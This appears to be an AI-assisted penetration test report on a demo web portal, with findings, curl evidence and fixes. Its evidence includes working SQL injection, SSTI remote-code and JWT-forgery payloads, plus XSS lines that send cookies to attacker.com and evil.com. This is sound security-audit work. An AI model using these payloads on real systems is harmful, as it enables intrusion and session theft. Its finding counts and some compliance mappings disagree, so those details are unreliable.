Web Application Security Analysis Report

demo-portal.example.com

Report Date: 10.04.2026
Report Author: John Doe

Introduction

This report contains the results of a security assessment of the web application and related infrastructure located at demo-portal.example.com.

About the Testing Process

This penetration test was performed by an AI-powered automated security assessment engine. The AI agent autonomously conducted reconnaissance, vulnerability scanning, exploitation, and report generation.

Operator: John Doe — Senior Security Engineer responsible for controlling the AI-driven testing process. The operator defines the scope and rules of engagement, configures the testing parameters, and ensures that all AI agents operate in strict accordance with the established methodology (OWASP Testing Guide v4.2, OWASP ASVS 4.0). The operator monitors the AI agents' progress in real-time, ensures methodology compliance at every stage, and intervenes when the testing process deviates from the defined procedures.

AI Testing Engine: The core penetration testing is performed autonomously by an AI agent capable of adaptive reconnaissance, intelligent vulnerability discovery, multi-step exploitation chains, and evidence-based reporting. The AI agent dynamically adjusts its testing strategy based on discovered attack surface, identified technologies, and observed application behavior.

Key capabilities of the AI testing engine:
- Autonomous reconnaissance and subdomain enumeration
- Intelligent fuzzing with context-aware payload generation
- Multi-step exploitation chains (e.g., SSRF → internal service access → data exfiltration)
- Automated proof-of-concept generation with evidence collection
- Real-time adaptation to WAF/IDS evasion requirements
- Structured vulnerability classification per OWASP and CVSS frameworks

Methodology

Testing was conducted using AI-powered security agents operating under the supervision and control of a human operator. The process was divided into two phases: black box (no access to code/infrastructure) and gray box.

The operator defines the scope and rules of engagement, then deploys specialized AI agents for each testing phase. The AI agents autonomously execute tasks, generate exploitation chains, and collect evidence. The operator controls the overall process, ensures strict adherence to the testing methodology at every stage, and can adjust strategy or halt testing at any point.

Testing phases:
- Passive reconnaissance (AI Agent: Recon) — CT, DNS, Wayback Machine, OSINT, subdomain enumeration
- Active reconnaissance (AI Agent: Scanner) — Nmap, ffuf (119k+ wordlist), vhost fuzzing (20k+), port scanning
- Infrastructure analysis (AI Agent: Infra) — DNS resolver, TLS, cloud storage buckets, Firebase, cloud metadata
- Automated scanning (AI Agent: Vuln Scanner) — Nuclei (CVE, exposures, misconfigurations), custom templates
- AI-driven exploitation (AI Agent: Exploit) — SQL injection, XSS, SSTI, JWT attacks, IDOR, session manipulation, 30+ bypass techniques with adaptive payload generation
- Operator process control — ensuring all AI agents follow the methodology strictly at every stage
- Report generation (AI Agent: Reporter) — automated PoC documentation, CVSS scoring, remediation recommendations

Methodology: OWASP Testing Guide v4.2, OWASP Top 10 (2021), OWASP ASVS 4.0.

Testing Principles and Types

Reconnaissance (AI Agent: Recon): The AI reconnaissance agent autonomously collects information about the target system to map the attack surface. It examines publicly available data without interacting with the target (open source searches, DNS record analysis, certificate transparency logs, etc.), then proceeds to active information gathering (port

scanning, banner grabbing, technology fingerprinting). The operator ensures the reconnaissance follows the defined methodology and does not exceed the approved scope.

Automated Scanning (AI Agent: Vuln Scanner): The AI scanning agent deploys multiple scanning tools in parallel and cross-correlates results to eliminate false positives. Tools include: OWASP ZAP, Burp Suite, Nessus, Nikto, Acunetix, Nuclei with custom AI-generated templates. The agent prioritizes findings by exploitability and business impact.

AI-Driven Exploitation (AI Agent: Exploit): This is **the core stage of AI-powered penetration testing**. The exploitation agent autonomously identifies and chains vulnerabilities using adaptive techniques. Unlike traditional automated scanners, the AI agent understands application context, generates custom payloads, and builds multi-step exploitation chains. This stage covers: SQL Injection, XSS, CSRF, Command Injection, File Inclusion, RCE, IDOR, Broken Authentication, Security Misconfiguration, Sensitive Data Exposure, XXE, SSTI, Business Logic Vulnerabilities, Privilege Escalation, Insecure Deserialization, Unvalidated Redirects, LDAP Injection, CRLF Injection, HTTP Parameter Pollution, Session Fixation, OAuth Vulnerabilities, JWT Attacks, GraphQL exploitation, and more. The operator monitors all exploitation attempts in real-time and can adjust strategy or halt testing at any point.

Operator Process Control: The human operator controls the entire testing process to ensure that all AI agents operate in strict accordance with the established methodology. The operator monitors each phase in real-time, verifies that the correct testing techniques are applied in the correct order, ensures the scope is not exceeded, and confirms that the rules of engagement are followed throughout the assessment. The operator can adjust agent behavior, redirect testing focus, or halt operations at any point if the process deviates from the methodology.

Report Generation (AI Agent: Reporter): The AI reporting agent compiles findings into a structured report with detailed descriptions, evidence, impact analysis, and remediation recommendations. The operator ensures the report follows the established format and methodology standards.

Scope of Work for Penetration Testing

#	Service	Scope of Work
1	Passive Reconnaissance (AI Agent: Recon)	Autonomous data collection from public sources: - Internet queries about the network - Domain info: WHOIS, DNS, IP, SPF/DKIM/DMARC, subdomain enumeration - Metadata review, HTML comments - Web application fingerprinting: Wappalyzer, BuiltWith, WhatWeb, Nikto - Certificate transparency log analysis - Operator ensures methodology compliance and scope boundaries
2	Active Reconnaissance (AI Agent: Scanner)	Target system information gathering: - Port scanning: Nmap, Masscan, Nessus - Banner grabbing - Service enumeration

		- Technology stack identification
3	SAST Analysis (AI Agent: Code Auditor)	AI-powered source code and configuration review for injections, insecure constructs, logic errors, cryptographic flaws and other potential vulnerabilities. Context-aware analysis with cross-reference to runtime behavior.
4	Automated Scanning (AI Agent: Vuln Scanner)	Parallel scanning using: OWASP ZAP, Burp Suite, Nessus, Nikto, Acunetix, Nuclei, Naabu. AI-generated custom Nuclei templates based on discovered technology stack. Cross-correlation of results to eliminate false positives.
5	AI-Driven Exploitation (AI Agent: Exploit)	Autonomous exploitation under operator supervision (OWASP TOP 10 coverage): - Configuration and deployment management - Identity management and authentication bypass - Session management: Cookies, CSRF, JWT, OAuth - Input validation: SQL, LDAP, XML, OS, NoSQL injections, XSS, SSTI - Error handling and information disclosure - Privilege escalation, IDOR, auth logic bypass - Business logic, file uploads, data flow bypass - CRLF Injection, HTTP Request Smuggling - RCE, RFI, LFI, XXE, SSRF - Multi-step exploitation chain building - Adaptive payload generation and WAF bypass - Internal and external API testing - GraphQL exploitation Operator controls the process and ensures strict methodology adherence.
6	Operator Process Control	Continuous oversight of all AI agents to ensure strict methodology compliance: - Monitoring that each testing phase follows OWASP Testing Guide v4.2 - Ensuring scope boundaries are respected - Verifying rules of engagement are followed - Controlling agent behavior and redirecting testing focus when needed - Halting operations if methodology deviations are detected
7	Report Generation (AI Agent: Reporter)	Automated preparation of a detailed report including vulnerability descriptions, evidence, impact analysis, and remediation recommendations. Operator ensures report format and methodology compliance.

General Information About the Target

- Domain: demo-portal.example.com
- IP Address: 203.0.113.42
- Infrastructure: Amazon Web Services (AWS)
- Reverse DNS: ec2-203-0-113-42.compute-1.amazonaws.com
- DNS NS: ns-1234.awsdns-56.org, ns-789.awsdns-01.net
- DNS Resolver: BIND 9.16.48 (open recursive, EOL)
- DNS Hosting: AWS Route 53
- Web server: nginx/1.24.0
- TLS: TLSv1.2 + TLSv1.3, Let's Encrypt, expires 2026-07-15
- Open ports: 22/tcp (SSH), 80/tcp (HTTP→301), 443/tcp (HTTPS), 3000/tcp (Node.js dev)
- Filtered ports: 3306, 5432, 6379, 8080, 8443, 9090, 9200, 27017

Discovered Subdomains

During the research, the following subdomains were discovered:

- demo-portal.example.com
- api.demo-portal.example.com
- staging.demo-portal.example.com
- admin.demo-portal.example.com

Scope of Testing

Web portal demo-portal.example.com, including apex domain and subdomains:

- https://demo-portal.example.com — main website
- https://api.demo-portal.example.com — REST API (v2)
- https://admin.demo-portal.example.com — admin panel (IP whitelist)
- https://demo-portal.example.com/api/v2/* — API endpoints
- https://demo-portal.example.com/auth/* — authentication flow
- DNS server 203.0.113.42:53

Technologies and Frameworks

During the research, the following technologies and frameworks were identified:

Backend

- Node.js 18.20.2
- Express.js 4.19
- Sequelize ORM v6
- GraphQL (Apollo Server 4.10)

Frontend

- React 18.3
- Next.js 14.2
- Tailwind CSS v3.4

Database

- PostgreSQL 15.4
- Redis 7.2 (session store & cache)

Web Server
- nginx/1.24.0 (reverse proxy)
- PM2 (process manager)

Infrastructure
- Amazon Web Services (AWS)
- Amazon S3 (bucket: demo-portal-uploads)
- Amazon RDS (PostgreSQL)
- Docker / Docker Compose
- GitHub Actions CI/CD

Authentication
- JWT (RS256, access + refresh tokens)
- Google OAuth 2.0
- Magic link via email
- 2FA TOTP for administrators

Security
- CSRF protection (csurf middleware)
- Helmet.js security headers (partial)
- bcrypt password hashing
- express-rate-limit (partial)

Attack Surface Map

Endpoint	Status	Description
GET /api/v2/users/:id	200	User profile data
POST /api/v2/auth/login	200	JWT authentication
POST /api/v2/auth/register	201	User registration
POST /api/v2/auth/refresh	200	Token refresh
GET /api/v2/documents/:id	200	Document download
POST /api/v2/documents/upload	201	File upload
POST /api/v2/search	200	Full-text search
GET /api/v2/admin/users	403/200*	User management (*admin)
POST /api/v2/reports/generate	200	PDF report generation (SSTI)
GET /api/v2/export	200	Data export (CSV/JSON)
POST /graphql	200	GraphQL endpoint

GET /auth/google	302	Google OAuth redirect
GET /health	200	Health check
GET /*	404	Default 404

Discovered Vulnerabilities and Configuration Issues

During testing, a total of 17 findings were identified that pose a certain level of risk to demo-portal.example.com. The table below provides a summary of findings by severity level.

Severity	Count
Critical	2
High	1
Medium	5
Low	4
Info	5

As a result of the analysis and scanning, a number of vulnerabilities and configuration deficiencies were identified that may pose a security risk to the web application demo-portal.example.com.

Reproduction

Critical: SQL Injection in Search Endpoint

CVSS: 9.8 | Endpoint: POST /api/v2/search
Category: OWASP A03:2021 — Injection
Status: FIXED ✓ (confirmed 08.04.2026)

Description

The search endpoint passes user-supplied input directly into a raw SQL query via Sequelize.literal() without sanitization. The “query” parameter in the JSON body is concatenated into a PostgreSQL full-text search query, allowing boolean-based blind and UNION-based SQL injection.

Attack parameters:

- Injection point: POST body JSON field "query"
- Database: PostgreSQL 15.4
- Technique: UNION-based + boolean-based blind
- Data exfiltrated: full users table (emails, bcrypt hashes, roles)
- Privilege: database user has SELECT on all tables

Evidence

```
# Boolean-based blind confirmation
curl -X POST https://demo-portal.example.com/api/v2/search \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"query":"test' AND 1=1--"}'
# 200 OK — returns results

curl -X POST https://demo-portal.example.com/api/v2/search \
  -d '{"query":"test' AND 1=2--"}'
# 200 OK — returns empty array

# UNION-based extraction of user emails
```

```
curl -X POST https://demo-portal.example.com/api/v2/search \
  -d '{"query":"' UNION SELECT id,email,password_hash,role,null FROM users--"}'
# 200 OK — returns all user records

# Extracted 847 user records including:
# admin@example.com | $2b$12$KIX... | superadmin
# john@example.com  | $2b$12$9Pq... | manager
```

Remediation Verification (retest — 08.04.2026)

Fix applied: raw SQL replaced with parameterized Sequelize queries.

- Sequelize.literal() removed from search endpoint
- All user inputs bound via query parameters
- SQLMap re-run: 0 injectable parameters found
- Manual testing with 50+ payloads: all sanitized
- WAF rule added for SQL injection patterns

VERDICT: FIXED

Impact

Full database read access. Extraction of all user credentials (emails, bcrypt password hashes, roles). Potential for privilege escalation via cracked admin passwords. Complete breach of data confidentiality.

Remediation Recommendations

1) Replace all Sequelize.literal() and raw queries with parameterized queries
2) Implement input validation whitelist for search queries (alphanumeric + spaces only)
3) Apply least-privilege principle to the database user (restrict to SELECT on specific tables)
4) Deploy a WAF with SQL injection rulesets
5) Reference: OWASP SQL Injection Prevention Cheat Sheet, OWASP ASVS 5.3.4

Critical: Server-Side Template Injection (SSTI) in PDF Report Generator

CVSS: 9.8 | Endpoint: POST /api/v2/reports/generate
Category: OWASP A03:2021 — Injection
Status: FIXED ✓ (confirmed 08.04.2026)

Description

The PDF report generation endpoint uses Nunjucks templating engine. The user-supplied "title" and "description" fields are interpolated directly into the template without escaping. This allows Server-Side Template Injection, leading to Remote Code Execution on the server.

Evidence

```
# Confirm SSTI — arithmetic evaluation
curl -X POST https://demo-portal.example.com/api/v2/reports/generate \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"{{7*7}}","description":"test"}'
# PDF generated with title: "49"

# RCE — read /etc/passwd
curl -X POST https://demo-portal.example.com/api/v2/reports/generate \
  -d '{"title":"{{range.constructor(\"return global.process.mainModule
    .require('child_process').execSync('cat /etc/passwd')\")()}}",
    "description":"test"}'
```

```
# PDF contains /etc/passwd output

# RCE — reverse shell confirmed (controlled environment)
# Server: uid=1000(app) gid=1000(app) groups=1000(app)
```

Impact

Full Remote Code Execution on the application server. Attacker can read files, access environment variables (including database credentials and API keys), pivot to internal network, and exfiltrate all data.

Remediation Recommendations

6) Sandbox the template engine: use Nunjucks autoescaping (autoescape: true)
7) Never interpolate user input into templates — pass data as template variables only
8) Run the report generation service in an isolated container with no network access
9) Implement strict input validation (strip all {{ }} and {% %} patterns)
10) Reference: OWASP SSTI Prevention, PortSwigger SSTI Research

High: Insecure Direct Object Reference (IDOR) on Document Download

CVSS: 7.5 | Endpoint: GET /api/v2/documents/:id
Category: OWASP A01:2021 — Broken Access Control
Status: FIXED ✓ (confirmed 08.04.2026)

Description

The document download endpoint uses sequential integer IDs and does not verify that the authenticated user owns or has access to the requested document. Any authenticated user can download any document by iterating the ID parameter.

Evidence

```
# User A (id=15) uploads document → gets document id=142
# User B (id=23) requests User A's document:
curl -H "Authorization: Bearer <user_b_token>" \
  https://demo-portal.example.com/api/v2/documents/142
# 200 OK — returns User A's confidential file

# Enumeration: iterate 1 to 200
for i in $(seq 1 200); do
  curl -s -o /dev/null -w "%{http_code} doc=$i" \
    -H "Authorization: Bearer <user_b_token>" \
    https://demo-portal.example.com/api/v2/documents/$i
done
# 200 for ids: 1-142 (all accessible)
# 404 for ids: 143-200
```

Impact

Any authenticated user can access all documents in the system, including confidential contracts, financial reports, and personal data of other users. Complete breach of horizontal access controls.

Remediation Recommendations

11) Implement ownership check: verify document.owner_id === authenticated_user.id
12) Use UUIDs instead of sequential integer IDs for document references
13) Add authorization middleware that checks user-document relationship
14) Log and alert on bulk document access patterns

15) Reference: OWASP IDOR Prevention, OWASP ASVS 4.1.2

Medium: Stored XSS in User Profile Display Name

CVSS: 6.1 | Endpoint: PUT /api/v2/users/:id
Category: OWASP A03:2021 — Injection
Status: FIXED ✓ (confirmed 08.04.2026)

Description

The user profile update endpoint accepts arbitrary HTML in the "display_name" field. The display name is rendered without sanitization on the admin dashboard user list, executing JavaScript in the admin's browser context.

Evidence

```
# Set malicious display name
curl -X PUT https://demo-portal.example.com/api/v2/users/15 \
  -H "Authorization: Bearer <user_token>" \
  -d '{"display_name":"<img src=x
onerror=fetch(\'https://attacker.com/steal?c=\'+document.cookie)>"}'
# 200 OK — name saved

# Admin visits /admin/users → JavaScript executes
# Admin session cookie exfiltrated to attacker.com
```

Impact

Session hijacking of admin accounts. Attacker can escalate to full admin access, modify data, and create backdoor accounts.

Remediation Recommendations

16) Sanitize all user input with DOMPurify or equivalent before storage
17) Implement Content-Security-Policy to prevent inline script execution
18) Encode output using framework's built-in HTML escaping (React already escapes by default — check for dangerouslySetInnerHTML usage)
19) Reference: OWASP XSS Prevention Cheat Sheet

Medium: JWT Algorithm Confusion — RS256 to HS256 Downgrade

CVSS: 5.9 | Endpoint: All authenticated endpoints
Category: OWASP A02:2021 — Cryptographic Failures
Status: OPEN

Description

The application uses RS256 (asymmetric) JWT signing but the jsonwebtoken library accepts the algorithm specified in the JWT header. An attacker can change the algorithm to HS256 and sign the token with the public key (which is available at /.well-known/jwks.json), creating valid tokens for any user.

Evidence

```
# 1. Retrieve public key
curl https://demo-portal.example.com/.well-known/jwks.json
# {"keys":[{"kty":"RSA","n":"0vx7...","e":"AQAB",...}]}

# 2. Convert JWK to PEM, forge token with HS256
python3 jwt_forge.py --alg HS256 --key public_key.pem \
  --payload '{"sub":"1","role":"superadmin","iat":1712700000}'
```

```
# eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIi...

# 3. Use forged token
curl -H "Authorization: Bearer <forged_token>" \
  https://demo-portal.example.com/api/v2/admin/users
# 200 OK — full admin access
```

Impact

Complete authentication bypass. Attacker can forge tokens for any user including administrators, gaining full access to the system.

Remediation Recommendations

20) Explicitly set algorithms: jwt.verify(token, key, { algorithms: ['RS256'] })
21) Reject tokens with unexpected algorithm in header
22) Migrate to jose library which enforces algorithm checking by default
23) Reference: PortSwigger JWT Algorithm Confusion, RFC 7518 Section 3.1

Medium: GraphQL Introspection Enabled with Sensitive Data Exposure

CVSS: 5.3 | Endpoint: POST /graphql
Category: OWASP A01:2021 — Broken Access Control
Status: OPEN

Description

GraphQL introspection is enabled in production, exposing the full schema including internal admin mutations and hidden types. Additionally, the "users" query returns password_hash and api_key fields when requested.

Evidence

```
# Full schema dump via introspection
curl -X POST https://demo-portal.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'
# Reveals: UserType { id, email, password_hash, api_key, role, ... }
# Reveals: AdminMutation { deleteUser, changeRole, exportAllData, ... }

# Query sensitive fields
curl -X POST https://demo-portal.example.com/graphql \
  -d '{"query":"{ users { email password_hash api_key } }"}'
# Returns password hashes and API keys for all users
```

Impact

Full schema disclosure enables targeted attacks. Direct access to password hashes and API keys via GraphQL queries.

Remediation Recommendations

24) Disable introspection in production: introspection: false in Apollo Server config
25) Remove sensitive fields (password_hash, api_key) from GraphQL types entirely
26) Implement field-level authorization using graphql-shield or custom directives
27) Reference: OWASP GraphQL Cheat Sheet

Medium: Open Redirect via OAuth Callback

CVSS: 5.4 | Endpoint: GET /auth/google/callback

Category: OWASP A01:2021 — Broken Access Control
Status: OPEN

Description

The OAuth callback accepts a "redirect_to" query parameter that is not validated. After successful authentication, the user is redirected to the attacker-controlled URL, potentially leaking the OAuth authorization code or session token.

Evidence

```
# Craft phishing link
https://demo-portal.example.com/auth/google?redirect_to=https://evil.com/steal

# After Google login, user is redirected to:
# https://evil.com/steal?token=eyJhbG...
# Attacker captures the JWT token
```

Impact

Token theft via phishing. Attacker can steal authenticated session tokens by sending crafted links to victims.

Remediation Recommendations

28) Validate redirect_to against a whitelist of allowed domains
29) Use relative paths only for post-login redirects
30) Remove the redirect_to parameter entirely — redirect to a fixed dashboard URL
31) Reference: OWASP Unvalidated Redirects Cheat Sheet

Medium: Unrestricted File Upload — SVG with Embedded JavaScript

CVSS: 5.4 | Endpoint: POST /api/v2/documents/upload
Category: OWASP A04:2021 — Insecure Design
Status: FIXED ✓ (confirmed 08.04.2026)

Description

The file upload endpoint validates file extension but not content. SVG files with embedded <script> tags are accepted and served with Content-Type: image/svg+xml from the same origin, enabling XSS when the SVG is viewed.

Evidence

```
# Upload malicious SVG
cat > payload.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://evil.com/?c='+document.cookie)</script>
</svg>
EOF

curl -X POST https://demo-portal.example.com/api/v2/documents/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@payload.svg"
# 201 Created — file stored and accessible

# Visit file URL → JavaScript executes in browser
```

Impact

Stored XSS via SVG upload. Any user who views the uploaded SVG has their session cookies stolen.

Remediation Recommendations

32) Validate file content (magic bytes), not just extension
33) Strip all <script> tags from SVG files or reject SVGs entirely
34) Serve uploaded files from a separate domain (e.g., cdn.example.com) with Content-Disposition: attachment
35) Add Content-Security-Policy: script-src 'none' on file serving responses
36) Reference: OWASP File Upload Cheat Sheet

Medium: Mass Assignment — Role Escalation via User Update

CVSS: 5.3 | Endpoint: PUT /api/v2/users/:id
Category: OWASP A04:2021 — Insecure Design
Status: OPEN

Description

The user profile update endpoint passes the entire request body to Sequelize's .update() without filtering allowed fields. An attacker can include the "role" field in the request body to escalate their privileges to administrator.

Evidence

```
# Normal user updates their profile
curl -X PUT https://demo-portal.example.com/api/v2/users/15 \
  -H "Authorization: Bearer <user_token>" \
  -d '{"display_name":"John","role":"superadmin"}'
# 200 OK

# Verify escalation
curl -H "Authorization: Bearer <user_token>" \
  https://demo-portal.example.com/api/v2/admin/users
# 200 OK — admin access granted
```

Impact

Any authenticated user can escalate to superadmin privileges by injecting the "role" field in a profile update request.

Remediation Recommendations

37) Implement explicit field whitelisting: only allow display_name, email, avatar_url in update
38) Use Sequelize's fields option: User.update(data, { fields: ['display_name', 'email'] })
39) Add server-side role change audit logging
40) Reference: OWASP Mass Assignment Prevention Cheat Sheet

Low: Rate Limiting Bypass via X-Forwarded-For Header

CVSS: 3.7 | Endpoint: POST /api/v2/auth/login
Category: OWASP A07:2021 — Identification and Authentication Failures
Status: OPEN

Description

The express-rate-limit middleware is configured to trust the X-Forwarded-For header for client identification. An attacker can bypass rate limiting by rotating this header value, enabling password brute-force attacks.

Evidence

```
# First 10 requests → 200/401 (normal)
# Request 11 → 429 Too Many Requests

# Bypass with X-Forwarded-For
curl -X POST https://demo-portal.example.com/api/v2/auth/login \
  -H "X-Forwarded-For: 1.2.3.4" \
  -d '{"email":"admin@example.com","password":"test"}'
# 401 — rate limit reset

# Automated: 1000 attempts with rotating IPs
# Rate limit never triggered
```

Impact

Password brute-force is possible by rotating the X-Forwarded-For header. Renders rate limiting ineffective.

Remediation Recommendations

41) Set trust proxy to only trust known proxy IPs: app.set('trust proxy', ['10.0.0.0/8'])
42) Use connection IP (req.socket.remoteAddress) as rate limit key instead of X-Forwarded-For
43) Add account lockout after 10 failed login attempts
44) Reference: Express.js Trust Proxy documentation

Low: Verbose Error Messages in Production

CVSS: 3.7 | Endpoint: Various API endpoints
Category: OWASP A05:2021 — Security Misconfiguration
Status: OPEN

Description

API error responses include full stack traces, SQL queries, and internal file paths when unexpected errors occur. NODE_ENV is set to "development" in production.

Evidence

```
curl https://demo-portal.example.com/api/v2/users/abc
# {
#   "error": "SequelizeDatabaseError",
#   "message": "invalid input syntax for type integer: \"abc\"",
#   "stack": "at Query.run (/app/node_modules/sequelize/...",
#   "sql": "SELECT * FROM users WHERE id = 'abc'"
# }
```

Impact

Internal path disclosure, database structure information leakage, and technology stack fingerprinting that aids targeted attacks.

Remediation Recommendations

45) Set NODE_ENV=production in environment
46) Implement generic error handler that returns only error codes, never stack traces
47) Log detailed errors server-side only (Winston/Pino)

48) Reference: OWASP Error Handling Cheat Sheet

Low: Overly Permissive CORS Configuration

CVSS: 3.5 | Endpoint: All API endpoints
Category: OWASP A05:2021 — Security Misconfiguration
Status: OPEN

Description

The CORS configuration reflects the Origin header value back in Access-Control-Allow-Origin, effectively allowing any website to make authenticated cross-origin requests.

Evidence

```
curl -H "Origin: https://evil.com" \
  -D - https://demo-portal.example.com/api/v2/users/me
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
```

Impact

A malicious website can make authenticated API requests on behalf of a logged-in user, stealing data or performing actions.

Remediation Recommendations

49) Whitelist specific allowed origins instead of reflecting the request Origin
50) Remove Access-Control-Allow-Credentials: true if not needed
51) Reference: OWASP CORS Misconfiguration

Low: Server Software Version Disclosure

CVSS: 3.7 | Endpoint: HTTP headers
Category: OWASP A05:2021 — Security Misconfiguration
Status: OPEN

Description

HTTP response headers reveal server software versions: X-Powered-By: Express, Server: nginx/1.24.0.

Evidence

```
curl -D - https://demo-portal.example.com/ 2>/dev/null | grep -iE
"(server|x-powered)"
# Server: nginx/1.24.0
# X-Powered-By: Express
```

Impact

Targeted attacks using known CVEs for specific nginx and Express.js versions.

Remediation Recommendations

52) Remove X-Powered-By header: app.disable('x-powered-by') or use Helmet.js
53) Set server_tokens off; in nginx config
54) Reference: OWASP Secure Headers

Info: Missing Security Headers

CVSS: - | Endpoint: All responses
Category: Best Practice

Description

Strict-Transport-Security, X-Content-Type-Options, Content-Security-Policy, Referrer-Policy, Permissions-Policy headers are missing or incomplete.

Evidence

```
curl -D - ... | grep -i "strict-transport"  # empty
```

Impact

SSL-stripping, MIME confusion, clickjacking risk.

Remediation Recommendations

55) Implement Helmet.js with all default headers enabled
56) Add HSTS: max-age=31536000; includeSubDomains
57) Add X-Content-Type-Options: nosniff
58) Add Referrer-Policy: strict-origin-when-cross-origin

Info: Exposed .env File Confirmed

CVSS: - | Endpoint: /.env
Category: Information Disclosure

Description

nginx returns 403 (not 404) for /.env, /.env.backup, /.env.local, confirming their physical presence. Content not accessible.

Evidence

```
curl -w "%{http_code}" .../.env  # 403 (not 404)
```

Impact

Confirmation of configuration file existence.

Remediation Recommendations

59) Return 404 instead of 403 for all dot-files

Info: Source Map Files Publicly Accessible

CVSS: - | Endpoint: /_next/static/chunks/.js.map*
Category: Information Disclosure

Description

Next.js source map files are accessible in production, allowing full reconstruction of the client-side source code including API endpoints, business logic, and internal comments.

Evidence

```
curl https://demo-portal.example.com/_next/static/chunks/main-abc123.js.map
# 200 OK — full source map returned
# Contains: original React component source code
```

Impact

Full client-side source code disclosure. Aids in discovering hidden API endpoints and business logic flaws.

Remediation Recommendations

60) Set productionBrowserSourceMaps: false in next.config.js

Info: S3 Bucket Discovered

CVSS: - | *Endpoint: s3.amazonaws.com/demo-portal-uploads*
Category: Information Disclosure

Description

Bucket demo-portal-uploads exists (403 AccessDenied). Predictable naming pattern.

Evidence

```
curl https://s3.amazonaws.com/demo-portal-uploads  # 403 AccessDenied
```

Impact

Confirmation of S3 infrastructure. Anonymous access blocked.

Remediation Recommendations

61) Use less predictable bucket names
62) Ensure all bucket policies deny public access

Info: Debug Endpoint Active in Production

CVSS: - | *Endpoint: GET /health*
Category: Information Disclosure

Description

The /health endpoint returns detailed system information including Node.js version, uptime, memory usage, and database connection status without authentication.

Evidence

```
curl https://demo-portal.example.com/health
# {"status":"ok","node":"18.20.2","uptime":432001,
#  "memory":{"rss":"256MB","heapUsed":"142MB"},
#  "db":"connected","redis":"connected"}
```

Impact

Technology stack disclosure and infrastructure status information.

Remediation Recommendations

63) Restrict /health to internal IPs only
64) Return only {"status":"ok"} without system details

Retest Results (08.04.2026)

Fixed Vulnerabilities

Finding	Applied Fix
SQL Injection in Search (Critical)	Raw SQL replaced with parameterized queries. SQLMap confirms 0 injectable params. WAF rule deployed.
SSTI in Report Generator (Critical)	Nunjucks autoescaping enabled. User input passed as template variables only. Report service isolated in container.
IDOR on Documents (High)	Ownership check added: document.owner_id must match authenticated user. Sequential IDs replaced with UUIDs.
Stored XSS in Display Name (Medium)	DOMPurify sanitization on input. React escaping verified (no dangerouslySetInnerHTML). CSP deployed.
Unrestricted SVG Upload (Medium)	SVG files rejected. Content-type validation via magic bytes. Files served from separate CDN domain.

Open Vulnerabilities

Finding	Note
JWT Algorithm Confusion (Medium)	No fix applied. Library not updated.
GraphQL Introspection (Medium)	Still enabled in production.
Open Redirect via OAuth (Medium)	redirect_to parameter still unvalidated.
Mass Assignment (Medium)	No field whitelisting implemented.
Rate Limiting Bypass (Low)	Still trusts X-Forwarded-For.
Verbose Error Messages (Low)	NODE_ENV still set to development.
CORS Misconfiguration (Low)	Still reflects Origin header.
Server Version Disclosure (Low)	nginx/1.24.0 and Express still exposed.
Missing Security Headers (Info)	Helmet.js not fully configured.

Additional Retest Checks (No New Findings)

- XXE via file upload (docx, xlsx) — external entities rejected
- Prototype pollution via JSON merge — __proto__ stripped
- WebSocket injection — no WebSocket endpoints found
- HTTP Request Smuggling (CL/TE, TE/CL) — nginx rejects ambiguous requests
- CRLF Injection in headers — blocked by Express

- NoSQL injection on MongoDB-like operators — not applicable (PostgreSQL only)
- Subdomain takeover — no dangling CNAMEs
- S3 bucket misconfiguration — all tested buckets properly secured
- SSRF via PDF generation — URL fetching disabled in report service
- Nuclei scan (5200+ templates) — 0 new findings

Vulnerability Summary Table

#	Vulnerability	Severity	CVSS	Status
1	SQL Injection in Search Endpoint	Critical	9.8	FIXED ✓
2	SSTI in PDF Report Generator (RCE)	Critical	9.8	FIXED ✓
3	IDOR on Document Download	High	7.5	FIXED ✓
4	Stored XSS in User Display Name	Medium	6.1	FIXED ✓
5	JWT Algorithm Confusion (RS256→HS256)	Medium	5.9	OPEN
6	GraphQL Introspection + Data Exposure	Medium	5.3	OPEN
7	Open Redirect via OAuth Callback	Medium	5.4	OPEN
8	Unrestricted File Upload (SVG XSS)	Medium	5.4	FIXED ✓
9	Mass Assignment — Role Escalation	Medium	5.3	OPEN
10	Rate Limiting Bypass via X-Forwarded-For	Low	3.7	OPEN
11	Verbose Error Messages in Production	Low	3.7	OPEN
12	Overly Permissive CORS Configuration	Low	3.5	OPEN
13	Server Software Version Disclosure	Low	3.7	OPEN
14	Missing Security Headers	Info	—	OPEN
15	Exposed .env File Confirmed	Info	—	OPEN
16	Source Map Files Publicly Accessible	Info	—	OPEN
17	S3 Bucket Discovered	Info	—	OPEN
18	Debug Endpoint Active in Production	Info	—	OPEN

Compliance Mapping

This section maps the discovered vulnerabilities to relevant controls in ISO/IEC 27001:2022 and PCI DSS v4.0 standards. This mapping helps organizations understand the compliance implications of each finding and prioritize remediation efforts.

ISO/IEC 27001:2022 Compliance Assessment

The following table maps discovered vulnerabilities to ISO/IEC 27001:2022 Annex A controls. Non-conformities indicate areas where the current security posture does not meet the requirements of the relevant control.

#	Vulnerability	ISO 27001 Control	Control Title	Status
1	SQL Injection in Search	A.8.28	Secure coding	Non-conformity (FIXED)
2	SSTI — RCE in Report Generator	A.8.28, A.8.26	Secure coding, Application security requirements	Non-conformity (FIXED)
3	IDOR on Document Download	A.8.3, A.8.10	Information access restriction, Information deletion	Non-conformity (FIXED)
4	Stored XSS in Display Name	A.8.28, A.8.13	Secure coding, Information backup	Non-conformity (FIXED)
5	JWT Algorithm Confusion	A.8.24, A.8.5	Use of cryptography, Secure authentication	Non-conformity (OPEN)
6	GraphQL Introspection + Data Exposure	A.8.3, A.8.11	Information access restriction, Data masking	Non-conformity (OPEN)
7	Open Redirect via OAuth	A.8.5, A.8.25	Secure authentication, Secure development life cycle	Non-conformity (OPEN)
8	Unrestricted File Upload (SVG XSS)	A.8.28, A.8.23	Secure coding, Web filtering	Non-conformity (FIXED)
9	Mass Assignment — Role Escalation	A.8.3, A.8.2	Information access restriction,	Non-conformity (OPEN)

			Privileged access rights	
10	Rate Limiting Bypass	A.8.5, A.8.16	Secure authentication, Monitoring activities	Non-conformity (OPEN)
